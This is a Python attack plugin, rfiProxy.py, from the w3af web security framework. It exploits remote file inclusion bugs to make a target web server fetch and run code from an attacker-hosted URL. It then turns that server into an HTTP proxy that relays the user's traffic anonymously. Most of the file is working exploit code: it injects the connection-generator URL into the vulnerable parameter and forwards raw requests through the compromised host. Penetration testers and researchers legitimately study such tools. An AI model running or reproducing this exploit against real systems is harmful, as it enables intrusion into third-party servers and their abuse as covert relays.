'''
rfiProxy.py
Copyright 2006 Andres Riancho
This file is part of w3af, w3af.sourceforge.net .
w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.
w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
'''
from core.data.fuzzer.fuzzer import createRandAlNum
# This separator is a Unique string used for parsing.
RFI_SEPARATOR = createRandAlNum( 25 )
URLOPENER = None
import core.controllers.outputManager as om
from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin
import core.data.kb.knowledgeBase as kb
from core.controllers.w3afException import w3afException
from core.controllers.daemons.webserver import webserver
import core.data.parsers.urlParser as urlParser
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from core.controllers.threads.w3afThread import w3afThread
import time
import socket, urlparse, urllib
from core.controllers.threads.threadManager import threadManagerObj as tm
### TODO: I dont like globals, please see TODO below.
url = ''
exploitData = ''
rfiConnGenerator = ''
class rfiProxy(baseAttackPlugin, w3afThread):
'''
This plugin exploits remote file inclusions to create a proxy server.
@author: Andres Riancho ( andres.riancho@gmail.com )
'''
def __init__( self ):
baseAttackPlugin.__init__(self)
w3afThread.__init__( self )
self._listenAddress = '127.0.0.1'
self._proxyPort = 8000
self._rfiConnGenerator = ''
self._httpdPort = 8001
self._proxy = None
self._wS = None
self._go = True
self._url = None
self._method = None
self._exploitQs = None
self._proxyPublicIP = None
def fastExploit(self, url, method, data ):
'''
Exploits a web app with osCommanding vuln.
@parameter url: A string containing the Url to exploit ( http://somehost.com/foo.php )
@parameter method: A string containing the method to send the data ( post / get )
@parameter data: A string containing data to send with a mark that defines
which is the vulnerable parameter ( aa=notMe&bb=almost&cc=[VULNERABLE] )
'''
pass
return self._shell
def getType(self):
return 'proxy'
def canExploit(self ):
'''
Searches the kb for vulnerabilities that the plugin can exploit.
@return: True if plugin knows how to exploit a found vuln.
'''
rfiVulns = kb.kb.getData( 'remoteFileInclude' , 'rfi' )
if len( rfiVulns ) == 0:
return False
else:
return True
def exploit(self ):
'''
Exploits a rfiVulns that were found and stored in the kb.
@return: True if the shell is working and the user can start using the proxy.
'''
om.out.information( 'rfiProxy exploit plugin is starting.' )
rfiVulns = kb.kb.getData( 'remoteFileInclude' , 'rfi' )
if len( rfiVulns ) == 0:
raise w3afException('No remote file inclusion vulnerabilities have been found.')
for vuln in rfiVulns:
# Try to get a shell using all vuln
if self._generateProxy(vuln):
# A proxy was generated.
return True
return False
def _generateProxy( self, vuln ):
'''
@parameter vuln: The vuln to exploit.
@return: True if the user can start using the proxy.
'''
# Set proxy parameters
self._url = urlParser.uri2url( vuln.getURL() )
self._method = vuln.getMethod()
self._exploitData = vuln.getDc()
self._variable = vuln.getVar()
self.start2()
time.sleep(0.5) # wait for webserver thread to start
return True
def stop(self):
if self._running:
if self._wS != None:
self._wS.stop()
self._proxy.server_close()
self._go = False
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((self._listenAddress, self._proxyPort))
s.close()
except:
pass
self._running = False
def rexec( self, command ):
'''
The only command available is stop, it will stop the web and proxy server.
'''
if command != 'stop' and command != 'exit':
message = 'Available commands:\n'
message += 'stop Terminate the proxy and web server processes used in this exploit.\n'
message += 'exit Return to previous menu, proxy will continue to work.\n'
return message
elif command == 'stop':
if not self._running:
message = 'No processes running.'
else:
self.stop()
message = 'Stopping processes.'
return message
elif command == 'exit':
if self._running:
message = 'Proxy will keep running in background.'
else:
message = ''
return message
def run(self):
'''
Starts the http server that will become a proxy.
'''
if self._rfiConnGenerator == '':
# If user failed to configure self._rfiConnGenerator we will run a webserver
# and configure the _rfiConnGenerator attr for him
if self._wS == None:
om.out.information( 'Running a local httpd to serve the RFI connection generator to remote web app.' )
self._wS = webserver( self._proxyPublicIP, self._httpdPort , 'webroot/')
self._wS.start2()
self._rfiConnGenerator = 'http://' + self._proxyPublicIP + ':' + str(self._httpdPort) + '/rfip.txt'
### TODO: I really dislike this, if someone knows how to send variables to
### w3afProxyHandler in a nicer way, please contact me ( andres.riancho@gmail.com )
global url
global exploitData
global variable
global rfiConnGenerator
url = self._url
exploitData = self._exploitData
rfiConnGenerator = self._rfiConnGenerator
variable = self._variable
self._proxy = HTTPServer((self._listenAddress, self._proxyPort ), w3afProxyHandler )
message = 'Proxy server running on '+ self._listenAddress + ':'+ str(self._proxyPort) +' .'
message += ' You may now configure this proxy in w3af or your browser. '
om.out.information( message )
self._running = True
while self._go:
try:
self._proxy.handle_request()
except:
self._proxy.server_close()
def getOptionsXML(self):
'''
This method returns a XML containing the Options that the plugin has.
Using this XML the framework will build a window, a menu, or some other input method to retrieve
the info from the user. The XML has to validate against the xml schema file located at :
w3af/core/ui/userInterface.dtd
@return: XML with the plugin options.
'''
return '\
\
\
\
\
\
\
\
'
def getRootProbability( self ):
'''
@return: This method returns the probability of getting a root shell using this attack plugin.
This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones.
This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS
return a root shell.
'''
return 0.0
def setOptions( self, optionsMap ):
'''
This method sets all the options that are configured using the user interface
generated by the framework using the result of getOptionsXML().
@parameter optionsMap: A dictionary with the options for the plugin.
@return: No value is returned.
'''
self._listenAddress = optionsMap['listenAddress']
self._proxyPort = optionsMap['proxyPort']
self._httpdPort = optionsMap['httpdPort']
self._proxyPublicIP = optionsMap['proxyPublicIP']
self._rfiConnGenerator = optionsMap['rfiConnGenerator']
def setUrlOpener( self, urlOpener):
'''
This method should not be overwritten by any plugin (but you are free to do it, for example
a good idea is to rewrite this method to change the UrlOpener to do some IDS evasion technic).
This method takes a CustomUrllib object as parameter and assigns it to itself.
Then, on the testUrl method you use self.CustomUrlOpener._custom_urlopen(...)
to open a Url and you are sure that the plugin is using the user supplied
settings (proxy, user agent, etc).
@return: No value is returned.
'''
global URLOPENER
URLOPENER = urlOpener
class w3afProxyHandler(BaseHTTPRequestHandler):
def _work( self, host, port, send, proxyClientConnection ):
postDataDict = {}
postDataDict['rfipsend'] = send
postDataDict['rfihost'] = host
postDataDict['rfiport'] = port
postDataDict['rfipsep'] = RFI_SEPARATOR
postdata = urllib.urlencode( postDataDict )
QueryStringDict = exploitData
QueryStringDict[ variable ] = rfiConnGenerator
qs = str( QueryStringDict )
completeUrl = url + '?' + qs
#req = urllib2.Request( completeUrl , postdata )
try:
response = URLOPENER.POST( completeUrl, postdata )
#response = urllib2.urlopen( req )
except Exception, e:
proxyClientConnection.close()
om.out.error( 'Oops! Error when proxy tried to open remote site: ' + str(e) )
else:
page = response.getBody()
theStart = page.find( RFI_SEPARATOR )
theEnd = page.rfind( RFI_SEPARATOR )
page = page[ theStart + len(RFI_SEPARATOR): theEnd ]
page = page[ page.find('HTTP'):]
proxyClientConnection.send( page )
proxyClientConnection.close()
def __init__( self, a, b, c):
self._tm = tm
BaseHTTPRequestHandler.__init__( self, a, b, c )
def handle_one_request(self):
"""
Handle a single HTTP request.
"""
self.raw_requestline = self.rfile.readline()
if not self.raw_requestline:
self.close_connection = 1
return
if not self.parse_request(): # An error code has been sent, just exit
return
words = self.raw_requestline.split('\n')[0].split()
if len( words ) == 3:
command, url, version = words
(scm, netloc, path, params, query, fragment) = urlparse.urlparse(url)
if scm != 'http':
self.send_error(501, 'Remote file inclusion proxy has no https support. Contribute here')
else:
splitNetloc = netloc.split(':')
port = 80
if len( splitNetloc ) == 2:
port = splitNetloc[1]
host = splitNetloc[0]
else:
return
del self.headers['Proxy-Connection']
del self.headers['keep-alive']
self.headers['connection'] = 'close'
raw_request = self.raw_requestline
for header in self.headers.keys():
raw_request += header+': '
raw_request += self.headers.getheader(header)
raw_request += '\r\n'
try:
length = int(self.headers.getheader('content-length'))
except:
pass
else:
raw_request += '\r\n\r\n'
raw_request += self.rfile.read(length)
raw_request += '\r\n\r\n'
proxyClientConnection = self.connection
#targs = ( host, port, raw_request, proxyClientConnection )
#self._tm.startFunction( target=self._work, args=targs, ownerObj=self )
self._work( host, port, raw_request, proxyClientConnection )
def getLongDesc( self ):
'''
@return: A DETAILED description of the plugin functions and features.
'''
return '''
This plugin exploits remote file inclusion vulnerabilities and returns a HTTP proxy. The proxy will use
the remote file inclusion bug to navigate the web in an anonymous way.
Six configurable parameters exist:
- listenAddress
- listenPort
- httpdPort
- proxyPublicIP
- rfiConnGenerator
'''